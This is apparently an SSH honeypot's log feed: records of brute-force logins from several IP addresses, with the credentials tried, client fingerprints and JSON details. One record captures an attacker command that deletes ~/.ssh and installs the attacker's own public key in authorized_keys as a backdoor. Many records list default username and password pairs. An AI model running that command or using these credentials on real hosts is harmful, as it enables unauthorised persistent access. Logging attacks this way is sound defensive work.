Adversarial Observation Interface

34.178.21.247

2026-07-07 18:09:06.541101 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: f82176f48ea8

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "f82176f48ea8",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:09:06.541101Z",
  "end_time": "2026-07-07T18:09:07.640693Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "password"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:09:05.324076 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 498f9ac1a969

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "498f9ac1a969",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:09:05.324076Z",
  "end_time": "2026-07-07T18:09:06.399956Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:09:03.829506 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root /

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 915300e23e61

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "915300e23e61",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:09:03.829506Z",
  "end_time": "2026-07-07T18:09:05.183304Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": ""
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:09:02.481454 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 5d542b10b061

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5d542b10b061",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:09:02.481454Z",
  "end_time": "2026-07-07T18:09:03.688984Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "password"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:09:01.234182 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / default

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 362ce094945d

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "362ce094945d",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:09:01.234182Z",
  "end_time": "2026-07-07T18:09:02.339223Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "default"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:08:59.954225 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 12345

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 3c7d3b2dd822

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3c7d3b2dd822",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:08:59.954225Z",
  "end_time": "2026-07-07T18:09:01.098808Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "12345"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:08:58.709458 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / root

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: e33d7ff846ba

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "e33d7ff846ba",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:08:58.709458Z",
  "end_time": "2026-07-07T18:08:59.801312Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.178.21.247

2026-07-07 18:08:58.568209 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 88eadd0958a4

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "88eadd0958a4",
  "src_ip": "34.178.21.247",
  "start_time": "2026-07-07T18:08:58.568209Z",
  "end_time": "2026-07-07T18:08:58.571790Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

123.231.115.91

2026-07-07 18:05:08.975863 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34

Record ID: c907db447f7f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c907db447f7f",
  "src_ip": "123.231.115.91",
  "start_time": "2026-07-07T18:05:08.975863Z",
  "end_time": "2026-07-07T18:05:10.870234Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

123.231.115.91

2026-07-07 18:05:05.719877 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 6d5e36568e61

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6d5e36568e61",
  "src_ip": "123.231.115.91",
  "start_time": "2026-07-07T18:05:05.719877Z",
  "end_time": "2026-07-07T18:05:08.671946Z",
  "duration": "3.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

123.231.115.91

2026-07-07 18:05:00.712339 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / Change_Me

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 92c0c6b8ba16

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "92c0c6b8ba16",
  "src_ip": "123.231.115.91",
  "start_time": "2026-07-07T18:05:00.712339Z",
  "end_time": "2026-07-07T18:05:10.866498Z",
  "duration": "10.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "Change_Me"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

192.168.0.1

2026-07-07 18:04:08.332416 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a5a130024cfc

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "a5a130024cfc",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-07T18:04:08.332416Z",
  "end_time": "2026-07-07T18:04:08.344700Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

8.221.140.241

2026-07-07 18:01:44.475155 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 274ef4f38af2

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "274ef4f38af2",
  "src_ip": "8.221.140.241",
  "start_time": "2026-07-07T18:01:44.475155Z",
  "end_time": "2026-07-07T18:01:44.702953Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

103.203.57.2

2026-07-07 17:50:14.567776 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d6c10eb32bc0

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "d6c10eb32bc0",
  "src_ip": "103.203.57.2",
  "start_time": "2026-07-07T17:50:14.567776Z",
  "end_time": "2026-07-07T17:50:24.567799Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

185.242.3.195

2026-07-07 17:27:02.414038 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: service

Record ID: ef756420e63e

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ef756420e63e",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-07T17:27:02.414038Z",
  "end_time": "2026-07-07T17:27:04.278236Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "service",
      "pass": "service"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

1.214.42.172

2026-07-07 17:22:50.169199 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qwest

Record ID: 71b673842d64

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "71b673842d64",
  "src_ip": "1.214.42.172",
  "start_time": "2026-07-07T17:22:50.169199Z",
  "end_time": "2026-07-07T17:22:51.947985Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "qwest",
      "pass": "Qwest.2024."
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:16:29.018738 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / vivo12345

Record ID: 41652f1dad53

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.4s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "41652f1dad53",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:16:29.018738Z",
  "end_time": "2026-07-07T17:16:30.444789Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "vivo12345"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:15:56.864789 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: uucp

Record ID: d5b8a2b40e7b

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.1s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "d5b8a2b40e7b",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:15:56.864789Z",
  "end_time": "2026-07-07T17:15:58.985846Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "uucp",
      "pass": "uucp"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:15:52.283203 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / adminpass

Record ID: fc03b9d8dd1e

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.5s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "fc03b9d8dd1e",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:15:52.283203Z",
  "end_time": "2026-07-07T17:15:53.818856Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "adminpass"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:15:26.637414 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: centos

Record ID: 2463abc30b22

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.9s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "2463abc30b22",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:15:26.637414Z",
  "end_time": "2026-07-07T17:15:28.576591Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "centos",
      "pass": "Itsemoemo2025@Washere2025"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:14:59.946950 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: turbo

Record ID: 269e1a8b7fd3

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.2s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "269e1a8b7fd3",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:14:59.946950Z",
  "end_time": "2026-07-07T17:15:02.176274Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "turbo",
      "pass": "turbo123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:14:55.652345 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / Abc123$%

Record ID: 828f6b168f43

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.3s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "828f6b168f43",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:14:55.652345Z",
  "end_time": "2026-07-07T17:14:56.936859Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Abc123$%"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:14:20.040865 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin123

Record ID: 3111b0cfc794

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.8s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "3111b0cfc794",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:14:20.040865Z",
  "end_time": "2026-07-07T17:14:21.847008Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:14:11.046523 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: localhost

Record ID: e6ef78cfa3ce

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.1s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "e6ef78cfa3ce",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:14:11.046523Z",
  "end_time": "2026-07-07T17:14:13.169679Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "localhost",
      "pass": "mFwOHAYibwOdDDcVJXeB"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:13:46.477824 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / qwer1234!

Record ID: a3a0a2584ed6

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.5s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "a3a0a2584ed6",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:13:46.477824Z",
  "end_time": "2026-07-07T17:13:47.978140Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwer1234!"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:13:33.903545 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / admin!123

Record ID: 13a84a7c3bb0

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.5s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "13a84a7c3bb0",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:13:33.903545Z",
  "end_time": "2026-07-07T17:13:35.385868Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "admin!123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:13:20.723382 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin /

Record ID: dcd4a2931ddc

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.6s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "dcd4a2931ddc",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:13:20.723382Z",
  "end_time": "2026-07-07T17:13:22.348940Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": ""
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:12:36.270601 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kafka

Record ID: 31b8aac86eeb

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.1s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "31b8aac86eeb",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:12:36.270601Z",
  "end_time": "2026-07-07T17:12:38.382854Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "kafka",
      "pass": "kafka@123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:12:25.692166 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dar

Record ID: 387efa345f0e

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.9s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "387efa345f0e",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:12:25.692166Z",
  "end_time": "2026-07-07T17:12:27.582878Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "dar",
      "pass": "dar"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:12:07.420320 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / qweasdzxc2002

Record ID: de84f0625111

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.4s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "de84f0625111",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:12:07.420320Z",
  "end_time": "2026-07-07T17:12:08.829847Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
